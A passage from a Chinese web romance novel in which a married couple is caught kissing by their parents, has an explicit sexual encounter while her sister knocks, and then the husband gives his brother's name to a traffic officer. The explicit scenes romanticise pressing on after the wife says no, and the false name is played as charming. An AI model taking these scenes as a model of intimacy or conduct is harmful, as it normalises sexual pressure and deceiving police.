此刻的徐清聿,就像一只饥饿已久的猛兽,尽情地向她索取。云听的理智在这汹涌的吻中逐渐消散,她依偎在徐清聿的怀里,感受他的温度,回应着他的热情。 两人的呼吸越来越急促,亲吻的声音也逐渐变大,“唔嗯”的模糊声音从两人唇齿间溢出。 不知过了多久,门口传来一声响动。沉浸欲。望中的两人却毫无察觉,依旧紧紧相拥。 徐清聿的手向下,扣住了云听的腰。 两人的身体紧密相贴,几乎没有一丝缝隙。云听和徐清聿都脱了外套,当徐清聿的胸膛压上来时,云听清晰地感受到他肌肉的轮廓。 一块块紧实的肌肉,随着他急促的呼吸,微微起伏、一动一动。 鬼使神差地,云听抬起手,隔着衣服,触碰上徐清聿的腹。肌。 指尖刚一触碰到他结实的肌肉,云听就像触碰到了滚烫的炭火,想要立刻缩回手,可心底又有一股莫名的冲动,让她的手停留在那里。 徐清聿好像真的瘦了。 徐清聿察觉到云听的小动作,他的吻一顿。 就在云听犹豫着是否要把手抽回时,徐清聿再一次加深了这个吻,得到无声的许可,云听的胆子也大了起来。 她心一横,手指伸进徐清聿的衣服里。 指尖刚一接触到他温热的肌肤,云听就感觉一阵电流从指尖传遍全身,她的脸颊红透,滚烫得能滴出血来。 徐清聿的腹肌在她的触摸下紧绷起来,他发出一声低沉的呻。吟,将云听抱得更紧。 他们就像许久不见的爱人,尽情地抒发对彼此的思念和爱。 … 云听率先察觉到异样,余光瞥见门口有动静,她迷迷糊糊地转过头,原本绯红的脸色瞬间变得煞白。 门口,她的爸妈、徐清聿的爸妈以及徐淮风,五个人正站在那儿。 脸上的表情各异,有惊讶、有尴尬,还有隐隐的笑意。 他们也不知道在那儿看了多久这场“好戏”。 云听惊恐地瞪大双眼,大脑一片空白。她猛地用力推开徐清聿,慌乱地捂住脸颊。 与此同时,徐清聿也回过神来,他动作迅速地抓起沙发上的一件衣服,抬手盖在云听的脸上,帮她遮挡窘迫。 然后才淡定地扯了扯被云听弄乱的衣服,将自己的腹。肌遮挡严实,而后抬起头,镇定自若地说道:“爸妈,你们回来了。” 第36章 第三十六章 “叫我哥哥” 也难怪四位长辈惊讶。 云听和徐清聿的性格他们都看在眼里。 从小到大以冷静自持著称、在外从不流露任何情绪、严谨到连一根头发都不会凌乱的徐清聿, 竟然会在光天化日下做出这种事。 云听更不用说了。 乖巧文静,和长辈说话规规矩矩,话里话外透着教养和分寸。 在四位长辈的眼里, 她是那种“连恋爱都会脸红”的类型,更不可能和徐清聿在公共场合做出这种“荒唐事”。 倒是一件新奇的事。 四位长辈震惊过后就是欣慰。 最先反应过来的,是云渡。 云渡陷入自我怀疑,到底是自己整日泡在实验室过于腐朽了, 不懂年轻人前卫的表达爱意的方式。 他嘴唇动了动,艰难地憋出一句:“咳,你们年轻人的方式我不懂,但……注意点场合,毕竟这里还是客厅。” 徐深凛也难将自己的儿子与刚才那个压着人热吻到忘我的模样联系在一起。 他干咳一声, 开口时的压迫感让整个房间的温度都降了几度,“清聿,你什么时候变成这个样子了?这种事,是能在客厅里做的吗?” 徐清聿直起身,领口凌乱, 头发也略散乱,但他骨子里透出的冷傲让人觉得,他没有被状况之外的人打乱分毫。 他单手揽住发愣的云听,动作从容得仿佛无事发生, “没人提醒我们你们会回来得这么早。” 说话间,视线在徐淮风的脸上一掠而过。 徐淮风表情淡漠, 听到徐清聿话中的指责,一贯高冷表情消失,取而代之的是一抹戏谑的挑眉,嘴唇微翘。 他开口, 嗓音并不低沉,而是清冷透彻,像是高山上的风,明亮又不可接近的冰冷,“哥,不早了。” 兄弟间,暗流涌动。 云听对此一无所知,她从没经历过这种场面,不知道接下来该怎么办,只想让时间回溯到一小时之前。 虽然外套挡住了她的脸,但她能感觉到五道灼热的目光牢牢钉在自己身上,令她浑身发烫。 弱小无助又可怜。 看到女儿瑟瑟发抖的可怜样,孟妍不禁有些好笑,赶忙打圆场,拯救云听于水火之中,“这有什么的?感情好不就行了?他们两个是夫妻,又不是小孩子。” “感情是真好。”邢时漫捂嘴偷笑,感慨道,“也不知道清聿什么时候变得这么主动了。” 孟妍推云渡的肩膀,催促离开:“好了好了 ,我们先走吧,别打扰他们了。” 脚步声由远及近,再由近及远,直到消失。 等所有人走后,徐清聿拍了拍云听的肩膀,“起来吧。” “不起来!”云听的声音从外套里闷闷地传来。 就算现在只剩下她和徐清聿两人,她也想将自己埋进沙发缝里,恨不得就此人间蒸发。 徐清聿弯了弯唇,隔着衣服揉她的脑袋。 云听的发型乱上加乱,无奈地外套里探出脑袋,露出一双无助的大眼睛,脸上红晕能滴出水来,“你…都怪你…” “嗯。” 就在云听准备跟徐清聿上楼时,徐淮风去而复返,出现在前方,如一阵冷冽的风无声无息地吹了进来。 他身材修长,一身简单的黑色卫衣和牛仔裤,细碎的刘海下,是一双将笑未笑的眼睛。 “哥,别怪我没提前提醒你。原本孟阿姨打算亲自下厨,最后还是选择了更便捷的方式,按理说,菜品应该很快就会送到,你还有十五分钟。” 他咬字清晰,说话间眼神不经意划过徐清聿的下。半。身,稍纵即逝的一瞥。 “15分钟,够了吧?” 徐淮风淡定地扔下一句话,不等回复,转身离开,“走了。” 徐清聿的太阳穴跳了一下。 他牵起云听的手,沿楼梯而上,楼道里灯光将两人的影子拉得又细又长。 云听的心跳始终没有缓下来,回想起刚刚徐淮风那番莫名其妙的话,心想徐淮风应该是好意提醒他们还有15分钟吃饭。 特地过来一趟,挺贴心的。 不过,她只是上楼换身舒服点的衣服,用不了15分钟。 到房间门口,云听推开房门,准备和徐清聿来个短暂的道别,却见徐清聿也跟着迈了进来。 云听一愣:“徐清聿,你是不是走错了?” 徐清聿喉结滚动,迄今为止第二次踏入云听的房间。 第一次因为男女有别,两人还没有结婚,他没有仔细观察过,这次环视了一圈,他回答:“没走错。” 徐清聿几乎不想承认这一点,因为连他自己也不确定这是错觉,还是真有其事。 他每次靠近云听,总觉得自己周围的空气都变得不一样了。 云听身上的香味说不上来是什么味道,不是市面上工业化的香水气息,没有人工调制的尖锐或甜腻感。 她的香味,有一种温暖的、自然的柔和。 像是从肌肤里沁出的体香,干净、轻柔,又令人着迷。 徐清聿不得不承认,每次捕捉到她的香气时,都会让他的心绪失控,像被一种看不见的力量牵引,生出一种莫名的躁动与眷恋。 每当两人做。爱时,香味便愈发浓烈。 他曾尝试克制自己,强迫自己不去在意,可是毫无用处。 那香味是一种无形的诱惑,一旦侵入他的感官,便让他失去冷静,从而会引发一种本能的冲动。 他想靠得更近些,想触碰她,想要亲吻她的身。体,只为确认这气息是否真实存在。 “你的房间也很香,”徐清聿说,“和你身上的味道很像。” “啊?”云听顺着他的话,鼻翼翕动,“是吗?可能是我的鼻子习惯了,不觉得香。” 徐清聿在过度疲劳或者情绪波动时,会偏头疼,尖锐的痛感化作一根无形的针扎进太阳穴,让他难以入睡。 他从未想过,有一天会出现解药。 夜深,他会等云听先入睡,听到她平稳的呼吸声,然后才轻轻将她搂进怀里。 但这几天,云听不在他身边,鼻端也少了熟悉的气息。他的心头始终像是少了什么重要的东西,空荡荡的无法填满。 所以今天见到云听,他才会控制不住吻她。 当然身体也有反应,可云听好像并未发觉。 徐清聿低下头,靠近云听的脸,两人的额头抵着额头,鼻尖相触。 云听看到徐清聿眼尾的小痣,小声说:“徐清聿……” 话还没说完,徐清聿便吻住了她。 同时,他握住了她的手腕。 云听的掌心滚烫,有一簇火焰在燃烧。 在这方寸之间,她敏锐地感觉到掌心里的东西正一点点变化,越来越大。 她的心跳陡然加快,即将跳出嗓子眼,红晕迅速爬上脸颊,想要抽回手,又被徐清聿握住,无法挣脱。 15分钟,原来是这个意思…… 徐清聿说:“上次被打断了,这次继续。” 云听头摇成拨浪鼓,“不行,爸妈还在楼下…” “没关系,他们听不到。”徐清聿解开皮带,毫不避讳地将它暴露在外,在云听的目光下,它好像又大了一些。 云听眨了眨眼睛,见徐清聿眉头紧蹙,脸上透着几分痛苦之色,极力隐忍的模样,让她一下就明白了他内心的煎熬。 她的心被揪了一下。 犹豫片刻后,云听想到今晚答应了云闻要和她住一个房间,自然不能和徐清聿一起,终是无奈地叹了口气,“先去洗澡…不过,你的伤口…” 徐清聿道:“回来时,已经洗过了。” 房间被暧昧的暖光浸透,玫瑰的芬芳丝丝缕缕,交织出一室旖旎。 徐清聿长臂一伸,将云听捞进怀里,扣在她腰间的手收紧,让两人之间再无一丝缝隙。 他低下头,滚烫的气息率先抵达,云听忍不住颤抖。 紧接着,他的薄唇猛地压下,强势又急切,撬开云听的唇,攻城略地。两人的呼吸急促又紊乱,交融在一起,炽热的吻带着燎原之势,将彼此点燃。 徐清聿放过她红肿的唇,埋在她的月匈前,不断拉扯和“撕咬。” 云听弓起身子,双手无助地攀附在徐清聿的脖颈,手指紧紧揪着他的发尾,整个人在这汹涌的爱意里沉沦。 意识断断续续,大脑几度眩晕,身体几度痉挛。 “咚咚咚” “听宝,聿哥,你们好了吗?” “该吃晚饭咯。” 门外冷不防响起云闻的声音。 她对之前的事一无所知,只当两人在房间休息。 云听身体一僵,双手将床单攥出深深的褶皱,嘴唇颤抖,连带着牙齿也轻轻打颤,“徐…徐……” 徐清聿不肯放过她,拉过她的月退,目光集中在那儿,看着那儿一下一下地收缩,他放轻声音:“不回答吗?” 云听死死咬住下唇,整齐的牙齿嵌入娇嫩的肌肤,努力遏制住即将决堤的情绪。 不能出声,一旦出声,一定会被云闻敏锐捕捉。 “咚咚咚。” “听宝?你睡着了吗?” “聿哥,你在这里吗?” 徐清聿*出两根手指,“嗯?” “不说吗?”云听的两条月退挂在他的臂弯,徐清聿压着她的月要往上,不一会儿,淅淅沥沥的*打湿了两人结…合处。 “说话。”徐清聿的唇还贴在云听的耳畔,反复厮磨着,呼出的热气在云听的脖颈泛起一层细密的鸡皮疙瘩。 云听险些破音,被迫回应:“不…姐姐,我马上…下来…” 也许是云听声音太小,云闻没察觉到不对劲。 平常云听只称呼她“姐”,她也没有听出异样,“哦,聿哥不在你房间吗?等会儿你记得去叫他。” 徐清聿听到云听黏糊糊的声音,动作停住。 他伸出手,捏住云听的脸,稍稍用力,让云听被迫和他对视。 云听的脸颊被捏得嘟起,眼中还蓄着因为紧张和害怕泛起的泪花,看上去楚楚可怜。 徐清聿看到后,说: “云听,不要让长辈久等。” “叫哥哥。” 闻言,云听拼命摇头,嗫嚅道:“我……我叫不出口。” “叫我哥哥。”徐清聿再次重复。 “我……我为什么要叫你哥哥?我不是你的妹妹!” “你欠我16年的哥哥。” 徐清聿伸手抚上云听的脸颊,指尖的温度让她的心跳更加紊乱,云听害羞得无以复加:“我……我什么时候欠你了?” 徐清聿回答:“从我第一次见到你开始,你就欠了。” “我……” 徐清聿眯起眼睛,“叫一声,很难吗?” “不……不行!”云听咬紧牙关,羞恼过头已经开始口不择言,嘴唇一张一闭,胡话张口就来,“我才不要叫你…哥哥,你怎么不叫我哥哥…” 第37章 第三十七章 “徐清聿,别说了!”…… 楼下, 两方家长围坐在沙发上,桌上摆着茶壶和几碟精致的点心。 楼下的热闹得很,却是一种各自为阵的热闹。 云渡、孟妍、徐深凛、邢时漫这四人同框, 本以为谈论的话题会理所当然围绕医学和学术,毕竟这是他们的专业领域。 可此刻,四人对话完全跑偏了。 “最近这几年的国际局势啊,变化得真是快。”徐深凛轻放下茶杯, 感慨道,“尤其是邻国那边的经济政策,对我们的影响不小。” “是啊,前几天我还在看报告,全球供应链的调整速度比预期快了不少。”云渡接话, 推了推鼻梁上的眼镜,“尤其是能源领域的动向,值得关注。” “能源?”邢时漫露出一抹感兴趣的表情,“你是说近期关于绿色转型的那些政策?这个确实影响深远,特别是我们医疗行业, 很多设备的生产供应链都要跟着调整。” “没错,绿色转型不仅仅是口号,从制造到终端消费都会产生连锁反应。”云渡微微一笑,“不过, 医疗行业的压力相对来说还是要小一些。真正麻烦的是那些高污染、高消耗的传统产业,它们的转型难度可不小。” …… 几个人你一言我一语地聊着, 话题从能源转型聊到贸易局势,又从区域经济谈到了科技发展。 云闻则百无聊赖地靠在沙发刷手机,愁眉苦脸。 看到云听下来,她直接从沙发上跳起来, 飞奔向她。 “小听,你可算下来了!再不下来,我都快被闷死了!”云闻摆出一张苦瓜脸,眉心拧成一个疙瘩。 她一回到家,就感觉气氛哪里不对劲,又说不上来具体是什么不对劲。 前脚踏入,她便瞥见妈妈和邢阿姨并肩坐在沙发上,手里端着茶杯,水是满的,热气已经没了。 从远处看,她们的表情有几分说不清道不明的认真,声音低低地传过来,语调平和又有点儿神秘感。 “最近你听说了吗?隔壁小区那家养的小狗,居然……” “是啊,我也觉得挺稀奇的,不过说起来,这跟我们家的……” 云闻没听完整段对话。 什么时候孟妍会对邻居的小狗感兴趣了? 以前她可连听都懒得听,怎么今天聊得这么投入? 云闻刚想凑近听听八卦,徐爷爷的声音从反方向过来:“小闻,你怎么才回来?快上楼看看小听和清聿怎么还不下来。” 话音刚落,孟妍和邢时漫异口同声,“你不用上去,别打扰他们。” “啊?”云闻丈二和尚摸不着头脑,直觉告诉她事情没这么简单,她犹豫道,“可爷爷都催了,要是再不下来,饭菜都凉了。” “他们会下来的。”孟妍和邢时漫又相视一笑,“我们这边还没聊完,你别管。” 云闻被堵得没话说,耸耸肩坐到沙发上 她悄悄瞥了一眼两位长辈,她们的谈话内容越来越奇怪。 “对了,我看咱们附近新开的宠物店好像还不错,有时间咱们可以一起去看看。 邢时漫兴致盎然:“是啊,前几天我路过的时候瞧了一眼,感觉环境不错,主人也挺有意思的。” 旁边的徐爷爷实在忍不住了,咳嗽了一声:“你们怎么还聊这些乱七八糟的东西?快催他们下来啊!” 邢时漫:“爸,我们正聊着呢,再等等,他们会下来的。” “聊什么能聊这么久?”徐爷爷看出两人没话题硬找话题,硬生生拖延时间,“让清聿下来,这么多人等他像话吗?小风你去。” “等等,我去!”云闻自告奋勇。 四位长辈阻止未果,脸色些许难看。 都是过来人,两小年轻在沙发上擦枪走火的画面历历在目,回房间能干什么,还不就是继续做未做完的事。 邢时漫手里抱着的抱枕被她捏得皱巴巴的,她转头对徐深凛说,“你赶紧拖延时间,你爸那个脾气,你又不是不知道,他最重视的就是规矩。” 两老人家虽然和蔼可亲,对晚辈脾气也好,但这件事发生的时间点就不对。 徐爷爷最讲究的,除了尊重家规,就是准时,什么时间就做什么事情。 一旦涉及吃饭的时间,哪怕你正在工作,正在开会,有再重要的事,他都会要求你先下来吃饭。 徐深凛和云渡只能找别的话题,假装很忙,拖延时间。 两大男人又不能聊八卦,也不知道谁先起头,聊起了时政。 不一会儿,云闻下来了。 “小听说她马上下来。” 又过去很久,脚步声传来,大家的目光齐刷刷地朝着声音的来源看去。 云听慢吞吞地跟在徐清聿身后,一路紧张地盯着自己的脚尖,心里七上八下。 “终于下来了,饭菜都凉了。”徐奶奶率先开口,没有责备,只有慈爱。 所有人都来到餐桌前。 徐清聿淡淡地“嗯”了一声,拉开椅子坐下,一切看起来从容不迫,完全无视众人打量的目光。 云听犹豫了一下,也跟着坐下,特意挑了离徐清聿稍远的位置,落座在云闻旁边。 “快吃吧。”等所有人坐下后,徐爷爷夹起一块没有刺的鱼肉放到徐奶奶的碗里,“你们小年轻事情多,但也不能让我们一群老的等你们。” 云闻凑过来,用胳膊撞了撞云听的手肘:“听宝,刚才在房间里干什么去了?时间可不短啊。” 云听手抖了一下,她扭头看向云闻,为数不多对云闻说谎:“没、没干什么,我去洗澡了。” “洗澡?”云闻看到她身上的高领毛衣,“洗完澡你穿高领毛衣啊,不热吗?” 云听脑海高速旋转,想着该怎么回答才不会露馅:“不……不热,刚刚洗完澡有点冷。” 徐爷爷原本定下另一条规定:食不言寝不语。 但是,徐奶奶常常抱怨:“一家人吃饭不说话,哪里有温馨?” 妻子发话,徐爷爷也没反驳,只好用沉默来坚持自己的原则。 但徐奶奶一点也不放弃,每当一家人围坐在饭桌旁,徐奶奶总会不厌其烦地与爷爷聊天,问他一些简单的问题,有时还会笑着故意挑逗徐爷爷,让他不得不回答。 渐渐地,徐爷爷的沉默不再那么绝对,有时候他会点点头,或者轻声回应徐奶奶几句。 现在更不用说了。 餐桌上格外热闹。 徐奶奶问:“小听,结婚还适应吗?清聿对你好吗?” 云听刚想回答,正好对上孟妍和邢时漫八卦和期待的眼神,她感觉自己和被人扒了衣服暴晒在阳光下没有任何不同,支支吾吾回答:“嗯,挺好的,” 徐奶奶笑逐颜开,“那就好,那就好。你看,结婚后有了彼此的照顾,日子自然会越来越好。你们俩相处得这么好,奶奶心里也放心。” “嗯,奶奶您放心。” 云听有点招架不住徐奶奶无微不至的关心。 头越垂越低。 看到云听这副样子,云闻以为她很饿,便拿起筷子,给她夹了许多菜,“来,吃这个。” 云听道谢,接过菜,放到嘴里。 她平时也能吃辣,她喜欢那种辣得让人直冒汗的感觉,但今天有些不一样。 她的舌尖很麻很痛,一碰到辣的就更疼,徐清聿的吻让她的唇舌又麻又肿。 云闻看到云听嘴唇颜色的不对劲,好奇地问道:“小听,你的嘴唇怎么这么肿啊?” 云听欲盖弥彰用湿巾擦嘴,“没,没什么,可能是上火了。” “上火?你可别糊弄我,到底怎么回事?” 云闻没有怀疑过云听的唇是被 徐清聿亲肿的。 在她的认知里,徐清聿就像一座难以靠近的冰山,是个克制到近乎冷漠的人。 曾经,她出于好奇,冒着被骂的风险,拿起一叠美女照片在徐清聿面前晃悠,故意用夸张的语调问他哪个更漂亮,满心期待着能看到徐清聿哪怕一丝心动的反应。 可徐清聿连眼皮都没多抬一下,那些照于他而言,只是一堆毫无意义的废纸。 还有一次,云闻精心打扮了一番,穿上自己最漂亮的裙子,站在徐清聿身旁,又是微笑又是找话题,各种明示暗示,可徐清聿仍是不解风情的木头,对她的这番举动毫无察觉,自顾自地做着自己的事。 再后来… 云闻垂下眼睫,神色复杂。 不提也罢。 云听这会儿也招架不住云闻打破砂锅问到底的性格,“姐,真……真的就是上火了,你别瞎猜了。” 她可以对云闻说实话,但绝对不能是现在。 “云闻。”徐清聿突然开口,无波无澜的声线,“好好吃饭。” 简单的几个字,让云闻感到了明显的疏离和严肃。 好像还有…警告。 看到徐清聿面无表情的脸,她愣了一下,笑容消失在嘴角。 徐清聿和云听结婚之后,她再也没有见过徐清聿,再也没有和他讲过一句话。 刚才徐清聿下楼时,云闻出于礼貌和他打招呼,声音被长辈的聊天声盖过些许,她不知道徐清聿有没有听到,反正他没有回应。 说不失落和尴尬都是假的。 云闻顿时有种被隔离的感觉,她和徐清聿之间有一道看不见的墙,越来越高,越来越厚。 她抿了抿嘴,强忍心中的情绪,安慰自己,徐清聿和云听结婚了,对她不再像以前,也正常。 他们俩已经有了新的身份和角色,而她,只是云听的姐姐,只是一个旁观者,一个见证者。 她曾经以为,无论婚姻如何,她们三个人的关系不应该有太大变化,但如今的现实让她不得不承认,确实发生了微妙的变化。 徐清聿不会像以前一样对她好,云听最亲密的人也不会是她了。 想到这里,云听内心深处的失落感却愈加强烈。 云听察觉到云闻的变化,责怪地睨过徐清聿,对云闻说:“姐,我们晚上再聊。” 吃完饭后,徐清聿被徐深凛叫去了书房。 云听看徐清聿的身影消失在转角,右眼皮直跳。 孟妍突然出现在她身后,眼神示意她到一旁去。 云听不解,余光瞅见正在聊天的长辈,还是随着她走向角落。 孟妍想说的话,似乎自己也觉得难以启齿,踟蹰了半天,她放轻声音,“小听啊,以后和清聿注意一点,不要什么场合就……” 云听有预感孟妍会说什么,早已做好心理准备,“我知道了,妈妈,我会注意的。” 孟妍继续问:“你和清聿,打算要孩子吗?” 云听回:“妈,我们没讨论过这个话题…” 孟妍劝道:“你现在事业还在上升期,妈不建议你们现在要孩子,这事你得和清聿说明白了。” 云听让她放宽心:“妈,您放心,我知道的…” 孟妍清楚她和云听的关系并不如她的姐妹和她们的女儿那般亲密。 其他人家的孩子每天都会主动给妈妈发消息,聊聊生活、工作、聊心情,而自己的女儿,从来都没有亲近的需求。 虽然偶尔会有一些寒暄的话语,但也没有什么可以深入谈论的东西。 孟妍也多次想过,是不是自己太强势,才导致云听和她一直保持距离。 云听结婚后,她没有一天是不担心的。 担心云听会因为自己的羞涩和独立,错过一些应该属于她的幸福,也怕她陷入单恋,怕她会在这段感情里吃亏。 今天,她总算松了一口气,两人的关系比她想象中的要亲密,只希望她的担心是多余的。 * 云听回到房间,刚从柜子里拿起纯白色的睡衣,打算换上去找云闻,徐清聿正好从书房走出来,来到她的房间,两人的目光在半空对接。 云听心里动荡,但面上尽量维持冷静,弱声开口道:“徐清聿,今晚我打算和姐一起睡。” 徐清聿没有什么特别的反应,几秒钟的沉默后,他说,“我现在要出去一趟,打疫苗。” 云听“啊”了一声,“不找家庭医生过来吗?” “嗯,临时决定的。” 手机震动了一下。 云听拿起手机一看,是云闻的来电。她按下接听键,放在耳边。 “听宝,我来例假了,我房间没有姨妈巾,你有吗?帮我找找。” 云听一听,顾不得徐清聿在场,急忙答应:“好,我去找找看。” 她挂掉电话,赶紧走向储物柜。 打开柜门,翻找了一遍,在角落里找到了几片,只有日用,没有夜用。 云听心里一动,她的生理期不出意外也是最近几天,想到徐清聿刚才说要出去一趟,或许她可以和他一起出去。 她是有私心的,她想陪徐清聿。 归根结底,徐清聿身上的伤,多少也有她的一部分责任。 云听回拨过去,“姐,我去外面买吧,反正我这几天也快来了,顺便帮你带点。” “好的,聿哥陪你去吗?那你们注意安全。” * 云听和徐清聿先去注射疫苗,完事后两人从诊所出来。 夜色渐浓,街道上的车流渐渐稀疏。 云听望着窗外一晃而过的路灯,说道,“徐清聿,我们去超市吧,我想买点……” 徐清聿迟疑了一下,转动方向盘,掉头,径直开向商场附近。 车停下时,云听开门准备下车,但就在她的手即将碰到安全带时,徐清聿的声音制止了她:“你不用去买了,我已经买了。” 云听转身看向他,疑惑问:“你,为什么会买?” 买姨妈巾这种事,向来是女人才会关心的事情,男人通常很少涉及。 “家里没看到,我也不想让之前的事再发生。” 云听脸红了一下。 那次她生理期突然来临,徐清聿情急之下冒着大雨给她出去买。那种窘迫感让她至今都记忆犹新,而徐清聿明显也记得。 徐清聿的操作让云听有点难消化,她也不想从他的嘴巴里听到曾经的狼狈,忙转移话题:“那你,什么时候买的?” “最近几天,你的生理期快到了。” “啊?你怎么知道……” 总不能徐清聿按照四年前的日子算吧? 可她的生理期并不是完整的一个月周期,压力大的时候还会推迟或提早,她自己都只能估计个大概。 徐清聿眸光一动,眉头稍微皱起,像是在思考要不要回答这个问题。 他问:“你真想知道?” 云听“嗯”了一声。 她隐约感觉到答案可能会让她无所适从,但她又偏偏无法遏制想要探知的冲动。 徐清聿先解开了云听的安全带,目光微垂:“我说过我习惯观察你的反应。前几天,我每次吻你月匈,你都会无意识喊疼。” “你今天按压了小腹,吃完饭站起来的时候,动作很轻,不经意间按压。” 云听的手心渗出了汗意,明明只是最平常的身体变化,但从徐清聿的嘴里说出来,让她觉得自己被剖析得一清二楚。 更让她慌乱的是,她根本没有意识到自己做了这些事情。 她无意识的习惯竟然都被徐清聿捕捉到了… “还有……”徐清聿侧过头,有意将气氛推向更深的层次,“你r.晕的颜色变得更深了一些,这应该与体内激素有关,周围的皮肤也比平常更加紧绷和敏感——” 一道惊雷在云听耳边炸开,云听原地爆炸,她完全没有想到徐清聿竟会提到这么隐私的细节。 “你……”良久,云听才找到自己的声音、“你、你怎么会注意到这种事?!” 啊啊啊啊啊啊啊啊啊! “你……别再说了!”她几乎是带着恳求的语气说道,声音 发颤,“这些事你……你注意不到也没关系的!” 云听知道徐清聿的话还没说完。 可是,她无法再听下去了,真的无法。 就在徐清聿张开嘴的刹那,她猛地从副驾驶起来,探过身子,伸出手覆在了他的嘴上。 “闭嘴!” “徐清聿,你别说了!” 徐清聿已料到云听会有这样的举动,所以才提前给她解开安全带。 他没有挣开,任由云听的手贴在他的唇上。 云听此刻哪里还顾得上徐清聿在想什么,她只知道如果再让他开口,她大概会羞得直接从车上跳下去。 掌心都快被徐清聿的温度烫穿了。 “云听,”徐清聿的声音透过她的手掌传来,略沙哑,“我没有想让你难堪。这只是正常的生理反应而已,没有什么好回避的。” 云听憋了许久,闷闷不乐地抬起头,委屈和不满问:“既然你这么喜欢观察,那你怎么不给我一个机会观察你呢?” 闻言,徐清聿静默须臾,他点头,“也可以。” 云听没想到徐清聿答应得这么爽快,“你说什么?” “如果你想观察,就尽管观察。只要你愿意,随时都可以。” 云听的手还在徐清聿的唇上,眼神不自在地瞟向窗外:“我才没想观察你……你别误会,我就随口一说!” “随口一说?那你现在后悔也可以,不过机会只有一次。” 云听咬了咬唇,自己太蠢了,被徐清聿牵着鼻子走了。 明明是她在生气,怎么话题又被他轻松地转移成这样? 僵持之间,一阵突兀的敲击声从车窗外传来。 徐清聿淡定地伸手按下车窗。 车窗外站着一个年轻的小交警,身穿制服,帽檐压得很低,帽子下是一张很稚嫩的脸。 “这个地方不能停车。”他的目光在车内扫了一圈,看到副驾驶和驾驶位的两人保持着一种极为亲密的姿势。 年轻交警脸色一变,咳了一声:“咳咳,你们这样,不合适吧?” 云听急忙退回副驾驶,“不是的!我们没干什么!真的是误会——” 小交警抬起手,示意她不要说话,语气有几分公事公办的认真:“没干什么?这种场合我见得多了,你们以为在车里做这种事不会被发现吗?” 云听百口难辩,“你真误会了。” 小交警用一种“我是为你们着想”的语气说道:“年轻人可以理解,但公共场合注意点影响吧。要解决,去酒店。这里不行的。” 云听:“……” 怎么就要去酒店了? 小交警原本挺自信,心想着这次抓了个“现行”,KPI算是稳了,可当他和徐清聿四目相对时,顿时就被他沉稳而强大的气场压制得说不出话来。 “那、那个……”小交警整理语言,发现脑袋里原本熟练地散成了一团乱麻。 他原本想例行要求他们出示身份证,核实车主信息,可嘴巴张了两下,不知道先说什么了。 小交警强行找回自己的专业感,挺直腰板,“名字,身份证。” 徐清聿也不是第一次被贴罚单,流程不能再熟悉,一脸置身事外的冷静感。 小交警再次问:“名字?” 徐清聿说:“徐淮风。” 第38章 第三十八章 “你喊的是谁的名字?”…… 话落的瞬间, 云听像是被施了定身咒,惊讶不已。 徐清聿说了什么? 徐淮风? 她不敢相信自己的耳朵,刚刚还在冷静想办法的脑子即刻宕机, 不知道怎么接话。 徐清聿一手搭在方向盘上,另一只手随意地搭在腿上,整个人还是懒淡而矜贵的模样,眼睫都没有颤一下, 就那么理所当然地说出了一个根本不属于他的名字。 云听怔怔地看着他,足足三秒才回过神来,嘴角抽了一下,压低声音问:“……徐清聿,你?” 徐清聿侧眸睨了她一眼, 眼中有淡淡的笑意,他不答反问:“怎么,哪里不对?” 云听盯着他,有种说不出的感觉。 徐清聿,太坏了吧… 她不是没见过徐清聿冷漠的样子, 也见过他矜贵的模样,偶尔也见过他低声哄着她的模样,虽然有时候他在床上很坏,但像现在这样带着几分痞气的模样, 她还是第一次见到。 如果不是他的眼睛太过深沉,他现在的神态看起来……还有点吊儿郎当的感觉? 云听有些消化不良, 一番心理建设后:“嗯,你说得对。” 她哪里敢当着交警的面揭穿他? 小交警也没起疑心。 云听心里发愁,她断定徐清聿“栽赃嫁祸”这一招不会成功,身份证、驾驶证都是他的名字, 就算两人长得再像,名字不同小交警不会看不出来。 为了防止事态进一步恶化,她向小交警解释:“同志,我们真的没有在车上做什么,不是你想的那样。” 说罢,又加一句,“违规停车是我们的错,我们接受处罚。” 小交警怀疑的目光在两人之间转一圈,还是觉得他们的先前的姿势暧昧。 思及此,他低头看了眼车牌号,正准备登记,被宾利车标晃了一下眼。 宾利? 路灯下,它就像一只蛰伏的黑色巨兽,散发着与生俱来的高贵与神秘气息。 小交警还年轻,但作为男人,天生对车有执着和热爱。更何况,眼前这辆宾利可不是普通的豪车,是高端定制款,许多细节和普通版本都不一样。 小交警默默咽了咽口水,能开得起这种车的人,身份绝对不简单。 原本还准备严肃执法的他,心态不知不觉发生了变化。 这年头,宾利的车主会差那几百几千块的酒店钱? 这男人如果真想干点什么,还用得着停在这里? 难道……是在寻求刺激? 小交警瞥了一眼车里的两人,目光探究。 但……就算真想玩刺激,也犯不着停在这种地方吧? 这可是公共场合,来来往往这么多人,随时可能被巡逻队盯上。 放着家里几百平的私人车库不用,非得跑到这儿,是嫌日子过得太低调了,想挑战一下法律底线? 难不成这男人有暴露癖,喜欢在公共场合做有伤大雅的事? 一想到这个可能性,小交警浑身不自在。 不对劲,太不对劲了! 他赶紧甩了甩头,努力让自己回归理智,重新打量了下徐清聿 。 只见他衣着整齐,要是真有那种癖好,能把自己裹得这么严实? 小交警目光不动声色下移,扫了一眼…… 嗯,平静得不能再平静。 他成功说服自己,彻底打消了自己离谱的猜测。 看来只是普通小情侣在车里闹了一下,误会了。 更别说,车里这个男人的气场实在太强了,强大到让他不自觉地生出一丝敬畏。 他虽然是执法者,可站在对方面前,竟然莫名有点心虚…… 算了,给个罚单,走人! 小交警权衡利弊后,最终只是公事公办地开了一张违规停车的罚单,果断后退了一步,摆了摆手:“下次注意点,别随便停车。” 等他的背影消失在夜色中,云听才长长地松了一口气,偏头问徐清聿:“你是不是故意的?” 徐清聿似乎存在装傻的可能性:“嗯?” “徐清聿。”云听盯着徐清聿,声音低低的。 “怎么?” 他懒懒地靠在驾驶座上,修长的手指在方向盘上轻轻敲了两下,“你指的是哪件事?” 车内的灯光映在他的侧脸上,高挺的鼻梁被镀上一层微光,投下一小片阴影。 云听视线飘移:“……从 一开始,你就知道那个交警会放过你,只会给我们开罚单是吗?” “嗯。”徐清聿承认得干脆。 这个答案在云听的意料之中,但真正听到的时候,她还是缓了口气。 果然,这才合理。 她就说,哪有亲哥哥会随意地把“脏水”泼到自己弟弟身上,还是用这种方式? 如果不是心里有数,徐清聿肯定不会随便冒用徐淮风的名字?要是真的被交警追查下去,岂不是多此一举? 徐清聿见云听不说话,问:“怎么,你在担心小风吗?” 云听答:“我是觉得你有点儿离谱,你在败坏小风的名声,你是不是有点儿对不起他。” 